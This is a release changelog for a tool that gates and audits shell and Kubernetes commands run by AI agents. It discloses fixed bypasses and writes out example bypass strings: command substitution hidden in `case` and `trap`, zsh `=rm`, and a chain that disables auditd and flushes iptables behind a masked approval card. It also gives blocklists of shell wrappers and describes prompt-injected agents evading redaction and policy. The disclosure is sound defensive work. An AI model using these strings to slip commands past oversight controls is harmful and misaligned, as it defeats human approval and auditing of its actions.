Changelog¶
[v3.2.0] - 2026-11-18¶
Fifth security audit pass, shipped together with the four passes merged since
v3.1.3: the command-policy shell_parse walker becomes a fail-closed allowlist
(two policy bypasses closed), MCP-over-HTTP authorises every call with its own
token, root-run tooling no longer operates by path in service-owned
directories, and the audit log's integrity checks are tightened. Also new: the
context_claim attribution claim and the sandboxed-agent (ASP) guide.
Security¶
shell_parseis a fail-closed allowlist of shell constructs (#820) — the command-policy walker was a denylist of syntax nodes that vetted only the words of simple commands. A word anywhere else — aforlist or loop variable, acasesubject, a[[ ]]operand, alet/ C-style-forexpression, a$((…))outside a command's arguments — was never inspected, and real shells perform command substitution on text the parser models as an inert quoted string:case $(( '$(cmd)' )) in *) <allowed command>;; esacrancmdon dash, bash, zsh and ksh while the policy saw only the allowed command. That bypassed allowlist, denylist andrequire_approvalalike — including a fully anchored explicit-path allowlist — for any broker CN authorised on the host, and for the model behind it. The walker now accepts only simple commands joined by|,&&,||,;, numeric fd→fd redirects,( )/{ }groups andif/while; every other construct is rejected by default, including node types a future parser adds. Among simple commands, declaration builtins spelled as quoted words ('export' A=1), variable-writing builtins (read,getopts,printf -v,unset, …), zsh precommand modifiers (noglob,repeat,emulate, …) and builtins that arithmetic-evaluate an argument carrying substitution syntax (test 'a[$(cmd)]' -eq 0) are refused; that part is a verified blocklist, not a proof — the anchored explicit-path allowlist remains the control that holds. Behaviour change:for/select/case/[[ ]]/let/ function declarations /time/coproc/|&/{NAME}>&Nand the builtins above are now rejected on any host with an active command policy andshell_parseon; put such logic in a script on the host. Upgrade the signer — this is the fix that matters most in this release.shell_parserefuses syntax that not every target shell reads the same way (#821) — the policy parser reads the bash dialect and decoded ANSI-C$'…'strings, but a POSIX/bin/sh(dash) has no$'…': inecho $'\' ; cmd ; \'' #'the policy saw oneechowith one argument while dash — the sealed-exec shim's and the sudo wrapper's/bin/sh -c, and any account whose shell is/bin/shon Debian/Ubuntu — rancmd.$'…'and$"…"are now rejected (use plain quotes; this supersedes the #277 decode of$'\x72\x6d'), and a differential run of the accepted grammar against dash, bash 3.2/5.3 (also assh), zsh and ksh93 closed the other divergences it found:setopt/unsetopt/shoptare refused andsetaccepts only the error-handling forms (-e,-u,-o pipefail|errexit|nounset); a command name ending in:(ksh label), starting with!(zsh&!) or containing=(zsh positional assignment), a command string starting with-/+, a NUL byte, a redirect without a command, a multi-digit fd, an unquoted~after=or:and a literal$followed by another character (zsh$^x/$=x/$~x/$+x) are rejected. Behaviour change: commands such assed "s/a$/b/" f,grep -E "a$|b$" fortool --file=~/xare now refused with the remedy in the message (single-quote the word); on a sudo host with no command policy a command using a refused form keeps the/bin/sh -cwrapper instead of the direct argv. The review covers those shells with default options — it is evidence, not a proof; the anchored explicit-path allowlist remains the control that holds.- Restrictive Kubernetes rules also cover collection lists (#800) — a
deny/require_approvalrule pinned bynamespacesornamesnever matched alist, whose canonical form carries-for "all namespaces" and for "no name": with a broad allow beside it,k8s_listacross all namespaces (or of the namespace holding a pinned name) returned exactly the objects the rule restricted —Secretdata included — andlist pods -/-skipped the approval aprod-pinned rule demanded. A restrictive rule whose verbs coverlistnow also matches those collection reads (namespaced resources only for a namespace pin); allow rules and every other verb keep their exact meaning. Behaviour change: an all-namespaces list that could return an object such a rule restricts is now denied / approval-gated. - Kubernetes API client and minter never follow redirects (#801) — a 3xx
from whatever answers at
api_serverre-sent the bound token, the minter's standing token and, on 307/308, thek8s_applymanifest to the redirect target, including a plainhttp://URL on the same host (outside the pinned CA). Redirects now surface as an error that does not echo the target (k8s sibling of #453). self_approvedaudit marker on the Kubernetes sign branch (#802) — aself_approvecaller approving its ownrequire_approvalk8s action was recorded as a bareissued, indistinguishable from a four-eyes approval; the marker the SSH branch writes (#118) now follows the k8sissuedrecord too.- A hidden cluster is indistinguishable from an unknown one in
K8sExecute(#803) — the broker resolved the action against the cluster's resource table before any end-user group check, so a userk8s_list_clustershides the cluster from could enumerate itsextra_resources(CRD names, API groups) from the error text (broker-side sibling of #600). - MCP-over-HTTP authorises each tool call with that request's token
(#807) — the caller identity was read from the handler context, which on
the stateful streamable transport is the
initializerequest's: groups, the attribution context and the forwarded raw token stayed frozen for the life of anMcp-Session-Id, so a user removed from an IdP group kept its hosts until the broker restarted. The caller now comes from the current request only, and idle MCP sessions are closed after 30 minutes (a reaped session answers 404 and the client re-initialises; live SSH sessions are owned by the caller id and survive). - PTY sessions disable history expansion (#808) — on hosts whose
/bin/shis bash the interactive pty shell expanded!-events, so a printable line such as!-1:s/echo //was preflighted and audited verbatim while the host ran a different command (printable sibling of #642/#756). - Session lifetime is capped at the earliest hop certificate (#809) — the
cert-expiry cap (#124) used only the target certificate, so behind a bastion
with a shorter
max_ttl_secondsthe session and its bastion connection outlived the bastion hop's own credential. - SSH handshakes are bounded by the timeout and the request context
(#810) —
ClientConfig.Timeoutonly covers the TCP connect, so an endpoint that accepted TCP and never spoke blockedssh_execute/ssh_session_openforever, leaking a goroutine, a socket and an ephemeral key per call. Every hop's handshake (direct and through a bastion) now fails within the bound and on cancellation. - Approval-poll transport failures are classified as upstream errors
(#811) — a failed
GET /v1/sign/result/<id>returned the raw*url.Error, so the control-plane URL reached the model and the outage was audited asdenied(#577/#753 sibling). broker-ctl audit repairoperates on descriptors and refuses links (#812) —--applywrote the quarantine file by path with a predictable name inside the service-owned log directory: a compromised service user that tore its own log's tail and pre-planted<log>.corrupt-<timestamp>symlinks got a root write of attacker-chosen bytes to any path when the operator ran the documented recovery (#679 class). The log is now opened once withO_NOFOLLOW(a symlinked, hard-linked or non-regular log is refused, also in dry-run), the quarantine is createdO_EXCL|O_NOFOLLOWand synced before the log is truncated through the same descriptor, and an existing quarantine name is a hard error that changes nothing.broker-ctlresolves a symlinked--configonce per edit (#813) — the #750 fix re-resolved the link at write time, so the owner of the service directory could flip it between the read and the write and have a root-run local edit replace any existing file with attacker-authored content. The path is now resolved before the first read, read without following links, and written to that same file; a symlink hop not owned by the user runningbroker-ctlis refused (behaviour change:sudo broker-ctl --config <your-own-link>must be given the real path).- A partial audit-log write is rolled back (#814) — a short write
(
ENOSPC/EDQUOT) left a fragment the next successful Append was glued onto: a record returned as written — an issuance under fail-closed mode — was an unparseable line,verifyfailed permanently andaudit repairrefused. The file is truncated back to the start of the failed line; if that fails the next record starts on its own line. broker-ctltext output escapes C1, bidi and other format controls (#815) — the #748 escaping was byte-based and covered only C0 and DEL, so UTF-8-encoded C1 controls (U+009B CSI) and bidi overrides in an audited command still reached the operator's terminal;approval list,revocations,policy grantsand echoed server error bodies are escaped too.--jsonoutput is unchanged.audit verify --keyrequires canonical record bytes (#817) — signatures were checked over the re-marshalled entry, so the newest record's raw bytes could be rewritten without the seed (an unknown member, an earlier duplicate key that first-wins parsers read, a re-spelled signature) and still verify, permanently after a restart. Each line must now be byte-identical to what Append writes.- Frozen-subject denials on discovery are audited within a budget (#828) —
GET /v1/hostsappended a signedfrozen_deniedrecord on every request from a frozen caller with no limit (andGET /v1/clustersaudited none): the identity the kill switch targets could flood the audit log. Both endpoints still always answer 403, and audit at mostsign_rate_limit_per_mindenials per minute per frozen subject — a budget separate from the/v1/signbucket, so a frozen broker behind a forwarder cannot drain the control plane's signing budget. - Webhook / Teams URL kept out of notifier errors (#831) — a transport
failure logged the full URL, whose path token or
sig=query is the bearer secret for posting approval cards; errors now carry scheme and host only. - Operator recipes create signer-dir files as the service user (#832) —
the documented envelope-seed, k8s minter-token/CA and seed-rotation recipes
had root write with
>andchownby path inside the signer-writable state directory, where a compromised signer can plant a symlink (#679 sibling outsideinstall.sh). They now usesudo -u infrabroker-signer sh -c 'umask 077 && … > file'; the rotation seed is also readable by the signer now. install.shrefuses a non-regular<config>.exampleand installs with-T(#835) — asigner.json.examplesymlink to a directory planted in the signer-writable state dir made root drop a signer-owned file into that directory on every run.- Invalid UTF-8 is normalised before an audit entry is signed (#842) — an
entry whose free text carried invalid UTF-8 (an SSH error string relayed from
a target host) was signed over bytes the verifier could not reproduce, so
audit verify --keyreportedsignature invalidfor an intact record. Records already written that way stay unverifiable. - THREAT_MODEL states that audit-log tail truncation is not detectable
(#816) — the document claimed any deletion, including truncating the
active file and restarting, was caught by
audit verify --all; dropping the newest records or segments verifies clean (and since #279 so does truncate-and-restart). It is now listed as gap #14 with the off-host-copy mitigation; API.md, OPERATIONS.md and SECURITY.md are corrected to match. - Chat approval cards are deny-only when the command is masked or truncated
(#829) — the approval bridge showed the redacted command next to a live
Approve button, and the requester chose the masked span: a
-----BEGIN … PRIVATE KEY-----marker masked everything to the end of the string and the quoted alternatives of the password/token rules ran across;-separated stages, sosystemctl restart nginx ; echo -----BEGIN PRIVATE KEY----- ; systemctl stop auditd ; iptables -Fwas presented assystemctl restart nginx ; echo [REDACTED:private-key-block]while the signer baked the full command into the certificate. A card whose command was masked (any masking, including an ordinary--password=…) or truncated now offers Deny only, with a pointer to the approval UI /broker-ctl, and the bridge refuses an Approve for any id whose card offered none. The default redaction patterns no longer cross shell stage separators (;,|,&, newline) and the private-key rule is fenced to PEM characters, so a planted trigger cannot mask later stages out of the audit log either. - Approver views escape Unicode format and control characters (#830) — a
command may carry bidi overrides/isolates (the signer rejects only CR/LF), and
the approval web UI, the Slack and Teams cards and the log notifier rendered
them raw, so a destructive stage could be displayed reordered as a trailing
comment. Requester-controlled fields are now shown with Cf/C1 characters as
visible
\u{XXXX}escapes (presentation only); a Slack card whose escaped command no longer fits is deny-only. install-shim.sh --checkdetects startup-file andauthorized_keysroutes around the sealed-exec shim (#833) — the docs claimed~/.bashrcis never sourced for a force-command; bash does source it when started by sshd (SSH_CLIENTset on Debian/Ubuntu and Fedora/RHEL builds) and zsh always reads~/.zshenv, so an account-writable startup file defining aninfrabroker-shimfunction replaced the verifier — envelope check, policy and approval — while--checkreported all checks passed. The claims are corrected, a "Harden the sealed account" section recommends/bin/shas the login shell (or root-owned home and startup files) andAuthorizedKeysFile none, and--check --accountsnow FAILS on a startup file that mentions the shim and WARNS (advisory) on account-writable startup paths, a liveauthorized_keysor an sshd config that does not disable it.broker-ctl audit show/audit tail/policy recommendescape control bytes in command text (#748) — a recorded command is attacker-controlled and signed as-is: an agent only had to get a command containing"\n<fake row>\n"or a terminal escape denied, andaudit verify --key(correctly) accepted the entry while the text renderers printed the bytes raw, so a forged row lined up with the real tabwriter columns and a fake[PROMOTE] <host> ^.*$block was indistinguishable from a real suggestion. Every free-text field now goes throughescapeText(\n\r\tas two-character escapes, other C0 bytes and DEL as\xNN, printable text and UTF-8 untouched, no surrounding quotes);--jsonoutputs are unchanged.- Audit-log shipper recipe no longer runs Vector as the service user
(#732) — OPERATIONS and
deploy/vector.example.tomllistedUser=infrabroker-signerfirst; that user owns/var/lib/infrabroker/signerand is in theinfrabrokergroup, so a shipper under it read the signer's mTLS key and audit seed (and apemCA key) and could writesigner.jsonandstate.db. Root +BindReadOnlyPaths=is now the recipe, the service-user drop-in is called out as the exposure the per-service layout exists to prevent, and THREAT_MODEL's actors table gains a "Log shipper — untrusted reader" row. install.shstate-dir re-own is scoped to single-link inodes (#733) — the "upgrade from the single-user layout" step ran an unconditionalchown -Rover every service state directory on every run; #679 closed the symlink vector, but a hard link planted by a compromised service (fs.protected_hardlinks=0) was re-owned to it on the next upgrade. The re-own is now afindover directories and single-link entries not yet owned by the service user,chown -h'ed, and thesigner.jsonchmod adds-links 1.- Docs toolchain installed from a hashed pip-compile lock (#736) —
requirements-docs.txtpinnedmkdocs-materialonly anddocs.ymlran a plainpip install -r, so ~28 transitive packages resolved unhashed into the job that builds the published Pages site.requirements-docs.inholds the top-level pin,requirements-docs.txtis the--generate-hasheslock, anddocs.ymlinstalls it with--require-hashes. GET /v1/sign/result/{id}audits a denied/expired approval once, not on every poll (#746) — the route makes no signer call and runs outside every rate limiter, so the originating broker CN could append one signed, fsyncedapproval-denied/approval-timeoutrecord per poll for up to 2×TTL per approval.Registry.ReportResultOncemarks the terminal outcome reported; later polls answer 403/408 unaudited.OpenSessionwraps a signing failure asErrUpstream(#753) — the session-open signing path returned the raw signer error whileExecuteand the preflights wrap it, so an unreachable or 5xx signer leaked its internal URL to the model throughssh_session_open(#545/#577 sibling).broker-ctl host add --forcekeeps the pinnedhost_keyand warns when a key changes (#638) — everyhost addused to require--host-keyor--scanand wrote whatever key it got without saying anything. That made the documented update idiom (--scan --force) re-pin whatever answered on the network on every--groups/--allowedit, and a changed key (the one sign of a rebuilt or hijacked host) went unnoticed. A--forceupdate of an existing host may now omit both flags, and the pin is kept. A supplied key that differs from the pin printswarning: host key for "<name>" CHANGED (was <fp>, now <fp>)to stderr, with an ssh-keyscan note when--scanwas used. The write still goes through, because operators do rotate keys. The OPERATIONS examples no longer pass--scanfor updates.- Confcheck duplicate-key rejection is now case-insensitive (#661) —
encoding/json matches object keys case-insensitively (last wins) and
DisallowUnknownFieldsaccepts the variant spelling, while a hujsonPatchrewrites the exact-name member, so{"sign_callers":["a"],"Sign_Callers":["b"]}reproduced the #216 silent divergence (runtime enforced one value, patches edited the other).checkDupKeysnow lowercases member names and fails closed on any case-variant duplicate, naming both spellings and the location;Standardize,StrictandPatchall inherit it. - k8s sign no longer leaks cluster-name existence to group-excluded callers
(#672) —
handleSignK8sansweredunknown clusterbefore the per-caller group gate, so a group-restricted caller could tell a non-existent cluster from one outside its groups (the SSH path appliesHostSetForCallerfirst). The group gate now runs first: a restricted caller gets the same audited-denied 403cluster not authorisedfor both; only unrestricted callers still getunknown cluster. install.shno longer follows a symlink planted in the signer-owned state dir (#679) — the signer's config lives in/var/lib/infrabroker/signer, which the signer user can write. On a re-run the root installer ranchown/chmodonsigner.jsonby path, and both follow symlinks. A compromised signer could link it to/etc/shadow(or any root file) and take ownership on the next upgrade. The installer now refuses a symlinked config for every service. In the signer dir it applies the mode through an lstat-basedfindand never chowns by path. The upgrade runbook indeploy/README.mdnow stops the units before running the installer.- lab/run_oauth_lab.sh keeps the Keycloak admin password and client secret out
of argv (#683) — the generated bootstrap password was passed as
docker run -e KC_BOOTSTRAP_ADMIN_PASSWORD=...andkcadm config credentials --password ..., and the client secret ascurl -d client_secret=..., all visible inps. The password now travels via the exported environment (-e NAME, read by the inner shell in the container), and the client secret through a 0600 scratch file removed by the EXIT trap and--data-urlencode name@file. - The bound ServiceAccount is redacted from API-server 403 messages (#669) —
A layer-B RBAC denial reached the model with the API server's Forbidden text
verbatim (
User "system:serviceaccount:<ns>:<sa>" cannot get resource ...), disclosing thesa_bindingsidentity that #455 keeps off the wire everywhere else. API errors are now aStatusErrorwhose model-facing message replaces the principal with<bound service account>(verb, resource, and namespace stay); the broker audit record keeps the unredacted text for the operator. - Command-policy
=/~rejection is part-boundary aware (#544) — the #462 fix and the older tilde check looked only at the first syntactic part of a word, so="rm" -rf /x,='rm' -rf /x,""=rm -rf /x,~"root"/xand""~/xslipped through while zsh (and, for~, bash) expanded them exactly like=rm/~root/x. The start of the word now skips empty quoted parts, and an unquoted=followed by a quoted part is rejected like=rm;test a = b,echo =and fully quoted'=rm'stay allowed. - Redaction no longer skips a secret that merely starts with
[REDACTED:(#447) —rule.applytreated any candidate beginning with the marker prefix as "already redacted by an earlier rule", so a command author (e.g. a prompt-injected agent) could type--password=[REDACTED:x]hunter2orDB_PASSWORD=[REDACTED:x]hunter2and have the secret land verbatim in the audit log, the session recording and the Slack/Teams approval payload. The skip now fires only when the candidate IS exactly one marker token ([REDACTED:<name>], same name charset the rules enforce), which keeps the legitimate no-cascade behaviour between overlapping rules. - OIDC JWKS refreshes are throttled (#448) — go-oidc re-fetches the JWKS
whenever a bearer does not verify against the cached keys (including a forged
token reusing the IdP's real
kid) and only coalesces concurrent fetches, and the HTTP frontend checks the bearer before any rate limit, so an unauthenticated client could make every forged token cost the IdP one HTTPS round trip (and the handler one IdP latency). The go-oidc HTTP client now sits behind a token bucket (burst 5, then one refresh per 10 s): a token that needs a refresh while the bucket is empty is rejected locally with 401, tokens signed by an already-cached key keep verifying with no network, and a real key rotation is delayed by at most the interval. Same for the signer'send_user_oidcre-validation; THREAT_MODEL documents the bound. - Webhook/Teams notifiers no longer follow HTTP redirects (#453) — both
notifier clients used the default
CheckRedirect(up to 10 hops, any scheme), so a webhook host answering 307/308 could downgrade the https-only guard (#44/#401) that validates only the configured URL and have the full approval payload (host, command, caller, end user) re-POSTed to anhttp://or private-networkLocation. The clients now return the 3xx as-is (http.ErrUseLastResponse), so the existing>= 300check fails loudly. broker-ctl callers add --forceno longer dropsself_approve/require_verified_end_user(#439) — the update path replaced the whole/callers/<cn>object with{allowed_groups}, so a routine group change silently switched off signer-side OIDC re-validation (THREAT_MODEL gap #2) and four-eyes waivers for that CN, andcallers listdid not show the flags so nobody noticed.--forcenow overlays onlyallowed_groupson the existing object (both flags and any future key survive) andcallers listgainsSELF_APPROVE/REQUIRE_VERIFIED_END_USERcolumns.- Approval UI denies framing and caching (#450) — the
/ui/approvalspages sent onlyContent-Type, so a notification-audience member holding an approval id could frame/ui/approvals/{id}invisibly under a decoy and turn one lured approver click into a real decision: the Approve button's same-origin POST carries the approver's ambient mTLS certificate, which SameSite does not cover. Every UI response now setsX-Frame-Options: DENY,Content-Security-Policy: frame-ancestors 'none',Cache-Control: no-storeandX-Content-Type-Options: nosniff; API.md documents the headers. broker-ctl host add --forceno longer dropssealed_exec(or any host key it has no flag for) (#438) — the update decoded the existing entry into broker-ctl's typedhostEntryand wrote that object back, so everyHostPolicykey the struct does not model (sealed_exec, or a key added after the binary was built) vanished: an unrelated--forceedit (adding a group) silently turned host enforcement off with no error or warning. The update now overlays only the modeled keys onto the existing raw JSON object (overlayHostEntry); unmodeled keys survive verbatim, and the flag-granular merge of modeled fields andcommand_policyis unchanged. Regression testTestHostAddForcePreservesUnmodeledFields.- Command-policy shell_parse rejects zsh
=cmdwords (#462) — zsh (EQUALS, on by default) replaces an unquoted word beginning with=by the resolved path of that command, in any argument position, so the signer decided on=rm -rf /xwhile a zsh login shell ran/bin/rm. Such words are now rejected fail-closed like unquoted globs and a leading~(a bare=and the quoted'=rm'form are unaffected); the ARCHITECTURE rejection table gains the row. - Command-policy shell_parse rejects deferred/indirect execution builtins
(#461) — the wrapper gate (#352/#371/#377) did not model
trap,builtin,hash -p,enable,mapfile/readarray -C:trap 'rm -rf /tmp/x' EXIT; trueparsed as the simple commandtrap rm -rf /tmp/x EXIT, so an anchoreddeny/require_approvalon^rmnever matched and the shell ranrmon exit (same forbuiltin eval …,hash -p /bin/rm l; l …,mapfile -C). They are now rejected likeeval/source; the regression table covers each form. - Command-policy wrapper gate widened (#463) — sibling of #352/#371/#377:
versioned shells (
zsh5,ksh93,bash5),mksh/lksh/pdksh/rbash/yash/posh, more interpreters (pypy,ipython,Rscript,julia,bun,deno,elixir,erl,guile,racket), pure wrappers that always exec another argv (setsid,flock,taskset,chroot,unshare,nsenter,strace/ltrace,systemd-run,setpriv,prlimit,cpulimit,daemonize,expect,tmux,screen),ssh host cmd(runs on a host this policy never sees) andfind -exec/-execdir/-ok/-okdir(plainfindkeeps working) are rejected likebash -c. The gate is a blocklist; an anchored allowlist with explicit paths remains the real control. - Approve-and-learn refused when the end user could not be attributed
(#451) — the control plane drops a broker-asserted
end_userwhen the broker CN is not one of itstrusted_forwarders(so a rogue broker cannot bias the approver), but then forwarded the approved-and-learn sign with an empty end user, and the signer minted a waiver that matched every end user of that broker for the TTL — a one-subject decision became a broker-wide approval bypass (the shippedcontrol-plane.example.jsonhastrusted_forwarders: []). The approval now recordsend_user_stripped(persisted instate_db, shown in the approval UI),learnon such an approval is refused with400and auditedapproval-learn-refusedwhile the approval stays pending for a plain approve; brokers that assert no end user, and trusted forwarders, learn as before. Upgrade note: the control plane'sstate_dbmoves to schema v2 (end_user_strippedcolumn, migrated automatically); a pre-upgrade control-plane binary refuses to start on the migrated file, so back upstate.dbbefore upgrading if you may roll back, and approvals already pending at upgrade time read as not stripped (bounded by the approval TTL). - In-conversation approval prompt and records name the elevation/PTY
(#468) — the elicitation asked the human to approve
"cmd" on "host"while the model had pickedsudo/sudo_user/ptyon its own, so the approver authorisedsystemctl restart nginxwithout being told it would run assudo -n -u postgres; theapproval_granted/approval_declinedaudit records omitted it too.ApprovalRequiredErrornow carries the elevation label and PTY flag, the prompt reads… on "web01" as sudo:postgres with PTY?, the approval-required error names them for every frontend, and both approval records setelevation/ptylike theexecutedrecord does. - MCP tool errors no longer return raw upstream errors to the model
(#472) —
toolErrorpassederr.Error()verbatim on every tool path, so an SSH dial/hop failure handed the model (and any remote agent overserve-mcp-http)dial tcp 10.20.0.7:22: i/o timeoutwith the target's or jump host's internal address, whichssh_list_serversnever exposes and which the HTTP frontend deliberately masks as502 upstream failure. AnErrUpstreamnow becomes the genericupstream failure (see broker audit log)for the SSH, session, file and k8s tools alike; policy denials keep their text and the engine still audits the full error. - Session dial/exec failures are classified as upstream failures (#545) —
OpenSessionandSessionExecreturned their SSH dial and exec errors withoutErrUpstream, unlikeExecute, so the #472 masking never applied to them:ssh_session_openagainst an unreachable host still handed the modelconnection: connecting to 10.x.y.z:22: dial tcp …with the internal address. Both sites now wrapErrUpstreamexactly likeExecute, so the session tools answer the genericupstream failuretext; the audit record keeps the full detail under outcomeerroras before. - Kubernetes token-mint failures no longer leak
sa_bindingsor pose as policy denials (#455) — a failed TokenRequest (expiredtoken_file, minter RBAC drift, unreachable API server) was returned as403with the minter's message (minting token for <ns>/<sa> on "<cluster>": k8s: POST /api/v1/namespaces/<ns>/serviceaccounts/<sa>/token: 401 …) all the way to the model, and auditeddeniedon both the signer and the broker. The signer now answers502with a genericcluster "<name>": token minting failed, logs and audits the detail on its own side as outcomeerror; the control plane relays a signer5xxas502/errorinstead of403/denied; the broker classifies it as an upstream failure and auditserror, sodeniedagain means a policy decision. lab/run_oauth_lab.shno longer exposes a Keycloak admin console withadmin/adminon every host interface (#432) — the lab published Keycloak with-p 8080:8080(Docker binds0.0.0.0) and the well-known bootstrap admin credentials, so for the lab's duration anyone on the LAN had the admin console, while the script itself only ever talks tolocalhost. It now publishes127.0.0.1:8080only and generates the bootstrap admin password per run (/dev/urandom), which is used solely by the in-scriptkcadmlogin.- Container base image pinned by digest (#436) —
Dockerfileandcontrib/glama/Dockerfilepulledgcr.io/distroless/static-debian12:nonrootby its mutable tag while everything else in the release pipeline is pinned (actions to SHAs,mcp-publisherto a version,CGO_ENABLED=0static builds), so the release image's base could change under the tag. BothFROMlines now carry@sha256:<digest>(the multi-arch OCI index, linux/amd64 + linux/arm64),.github/dependabot.ymlgains adockerecosystem entry for both directories so the digest keeps getting bumped, and CONTAINERS.md documents the pin. - Admin-endpoint denials draw on the per-CN sign budget before they are
audited (#464) —
reload-denied,policy-denied,grant-deniedandpolicy-read-deniedeach appended a signed+fsynced record with no cap, so any mTLS client loopingGET /v1/policy/hostscould grow and rotate the audit log and serialise every legitimate sign behind its fsyncs — the amplifier/v1/signalready refuses to be. The admin handlers now check the caller'ssign_rate_limit_per_minbucket (same bucket and limit as/v1/sign, keyed on the authenticated CN) before auditing a denial: the firstlimitper minute are audited and answered403as before, the excess gets429+Retry-Afterand is not audited. Authorised callers are never gated; with the limit unset the behaviour is unchanged. API.md, THREAT_MODEL gap #4 and OPERATIONS document the budget. - Command-policy shell_parse rejects
compgen/complete(#551) — bash'scompgen -C <cmd>/-F <func>run their argument andcomplete -C/-Fregister the same callbacks; they were missing from the wrapper gate (#461 sibling), so an anchoreddeny/require_approvalon the real binary never matched while bash executed it. Both are now rejected liketrapandmapfile. - k8s authorisation gates run before the resource table is consulted (#600).
resolveK8scheckedallowed_callersand the end user's groups only after resolving the resource against the cluster's table and after the canonical anti-mismatch check, so a caller excluded from a cluster could enumerate itsextra_resourcesCRDs, API groups and the expected canonical from the error texts. The two gates now run directly after the identity-charset gate, so an unauthorised caller gets onlycaller … not authorised/user … not authorised (groups)whatever resource it probes. - Audit lines always fit the reader, whatever the request carried (#572) —
the #278 trim covered only the free-text fields; a hostile host name or sudo
user (JSON-escaped six-fold) in a metadata field could still write a line the
reader cannot scan, so a fail-closed service refused to restart while
audit repairreported the log clean.fitEntrynow trims every string field as a last resort (and no longer stalls on an already-trimmed field), and identifiers are capped at ingress on the MCP frontend (1 KiB names, 4 KiB paths) and the signer (400above 1 KiB). - Dry-run and session-exec preflight failures classified like the live path
(#577).
dryRunand the session-exec preflight (authorizeSessionExec/authorizeSessionBastions, incl. the host-view refetch) now route signer errors throughclassifySignErr/ErrUpstream, so an unreachable signer or control plane is masked by the frontends (#472/#545) instead of leaking the signer URL/IP to the model.SessionExecaudits such an outage aserrorrather thansession_exec_denied, sobroker_events_totalandbroker-ctl audit show --outcomeno longer count infrastructure failures as policy denials; policy denials keep their outcome.
Fixed¶
ca-keys listshows agent entries andca-keys addrefuses another backend's flags (#752) — the DETAIL column was blank foragententries; it now reads<socket> (pubkey: <public_key_path>)($SSH_AUTH_SOCKwhen the socket comes from the environment).--type pem --vault-url …used to persist the stray key; flags that belong to another backend are now rejected naming the flag and the type, also under--force(a--forcetype change still works and still reports the dropped keys, #641).lab/run_oauth_lab.shkeeps the Keycloak admin password out of every argv (#734) — #683 cleaned the host-sidedocker execargv only; the innersh -c … --password "$PW"still put it inkcadm.sh/java's argv inside the container. kcadm readsKC_CLI_PASSWORDfrom the environment when--passwordis absent (Keycloak 26.0 source), so the lab passes it that way.- Lab hygiene (#735) —
lab/run_mcp_lab.shinstalls its cleanup trap before the second sshd starts (a busy port no longer orphans the bastion) and both it andlab/run_k8s_lab.shremove their work dir in the trap, like the other labs since #680/#681. - Shell session tests no longer race their feeder goroutine (#783) — the
strict-recording tests bounded
Execat 1 s and failed under load with the timeout error instead of the recording error; the bound is a shared 30 s test constant now (the deliberate 20 ms timeout test is untouched). internal/monitortests can be re-run in-process (#785) — they asserted absolute values on the process-global registry and failed withgo test -count=2; they assert deltas now.broker-ctlvalidates the edited config before writing it;Patchrefuses a duplicate it would create (#749) — every local edit wentconfcheck.Patch→writeConfigAtomicwith no look at the result, and the #661 duplicate-key check ran on the input only. With"Host_Key"in the file ahost add --forceappended"host_key"beside it and the next read failed with the duplicate-key error; ahost remove bastionwithweb01.jump = bastionwas reported as success and refused at the next reload (old policy kept) and restart (fail-closed).Patchnow checks the packed output too, and broker-ctl compiles the result through thepolicy explainpath before writing, refusing with the loader's reason.- Control plane relays a signer 429 on the guardrail dry-run and the
approved forward; the broker treats it as transient (#745) — #662 missed
two branches: the behaviour-escalation dry-run answered 403
command not allowedand auditeddeniedper throttled request, and the approved forward auditeddeniedwith the approver's attribution and relayed 403, whichpollApprovaltreats as terminal, so a throttle from another broker's burst cost the human a second approval. Both now relay 429 +Retry-Afterunaudited;pollApprovaladds 429 to its transient set. - Slack card and log notifier surface a stripped end user and the sudo
target (#747) — #668 missed both: a request from a broker outside
trusted_forwardersreached Slack looking like one with no end user, and that is exactly the request the identity-map four-eyes guard cannot attribute. The card printsuser (asserted by an untrusted broker, dropped)andsudo → <user|root>, the log notifieruser=(stripped), and THREAT_MODEL/OPERATIONS state that the guard is inert for stripped requests. - Approval-gated
ssh_session_open/ssh_put_file/ssh_get_fileno longer offer in-chat approval (#754) — onlyssh_executeelicits (#118); the shared "approve it in-chat (if enabled)" text sent the model into a retry loop on those tools, the #599 problem on the SSH side. - pty sessions reject TAB too (#756) — the #642 gate let 0x09 through, but
the pty shell is interactive and on a bash-as-
/bin/shhost readline completes the word, socat /tmp/x_UN<TAB>ran as the completed path — a command the signer never preflighted. The gate now refuses every byte below 0x20 and 0x7f; the tool description and USAGE say "printable text only". - Shell
Exectears down the SSH channel on every desynchronising exit (#755) — only the cancel path closed the channel; on the exec timeout, a strict-recording failure, an output overflow or a mangled marker the remote command kept running until the idle reaper while thesession_recording_strictdoc promised the in-flight command aborts.ShellSession.abort()closes the channel and marks the session broken. - A symlinked config is edited through the link (#750) — broker-ctl's
writeConfigAtomicand the signer'satomicWriterenamed the temp file over the link path, replacing the link with a regular file and leaving the real config untouched. Both resolve the path withfilepath.EvalSymlinksfirst. - A partial AKV service-principal block is a load error (#751) —
akvCredentialfell through toDefaultAzureCredentialunlesstenant_id,client_idandclient_secret_envwere all set, so a block with the secret env name forgotten signed with whatever identity DAC found. Setting any of the three now requires all three; the error names the missing field(s). broker-ctl doctorflags overlapping role-separation lists (#640) — doctor PASSed a control plane whosesign_callerscontained an approver CN fromapproval.callers(a non-emptysign_callersis an exact allowlist without the approver exclusion, so that CN may originate signing requests) and had no check on the signer'sreload_callers. It now FAILs whensign_callersandapproval.callersoverlap and WARNs whenreload_callerscontains a broker CN fromcallers(a broker identity could rewrite its own policy, create grants and unfreeze itself; theinitlab layout does this on purpose).deploy/README.mdchecklist gains both rows.ca-keys add --forcepatches per key (#641) — #561's per-key patches coveredhost add --forceandcallers add --forceonly;ca-keys add --forcestill replaced the whole entry from a Go map, deleting its inner//comments and re-sorting its keys. It now sets onlytypeand the changed flagged fields and removes the old backend's keys on a type change (still reported as dropped), so comments, authored key order and unmodeled keys (key_version,tenant_id, ...) survive. Also fixesca-keys addof a NEW entry writing the entry as a base64 string instead of an object.broker-ctladds to anullsection instead of failing (#639) — A signer.json with"hosts": null,"callers": nullor"ca_keys": nullpassed the pre-checks, because the readers treat null as empty. The write then failed with a hujsoncannot index into literalpointer error.patchConfigEntrynow treats a null section like an absent one and creates it with the single entry, sohost add,callers addandca-keys addwork on such a file.- pty sessions reject control bytes (#642) — in
